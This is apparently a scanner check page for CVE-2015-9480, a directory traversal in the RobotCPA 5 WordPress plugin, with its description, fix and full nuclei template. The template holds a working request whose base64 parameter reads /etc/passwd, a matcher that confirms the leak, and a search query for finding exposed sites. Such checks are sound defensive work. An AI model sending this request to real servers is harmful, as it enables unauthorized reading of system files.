WordPress RobotCPA 5 - Directory Traversal

highseverity

7.5CVSS score

12.7%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

The RobotCPA plugin 5 for WordPress has directory traversal via the f.php l parameter.

Impact

An attacker can access sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.

Fix

Update to the latest version of the WordPress RobotCPA 5 plugin to fix the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/robotcpa/f.php?l=ZmlsZTovLy9ldGMvcGFzc3dk
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-9480 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-9480

info:
  name: WordPress RobotCPA 5 - Directory Traversal
  author: daffainfo
  severity: high
  description: The RobotCPA plugin 5 for WordPress has directory traversal via the f.php l parameter.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
  remediation: |
    Update to the latest version of the WordPress RobotCPA 5 plugin to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/37252
    - https://nvd.nist.gov/vuln/detail/CVE-2015-9480
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-9480
    cwe-id: CWE-22
    epss-score: 0.12736
    epss-percentile: 0.96303
    cpe: cpe:2.3:a:robot-cpa:robotcpa:5:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: robot-cpa
    product: robotcpa
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/robotcpa"
  tags: cve2015,cve,wp-plugin,lfi,edb,wordpress,robot-cpa,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/robotcpa/f.php?l=ZmlsZTovLy9ldGMvcGFzc3dk"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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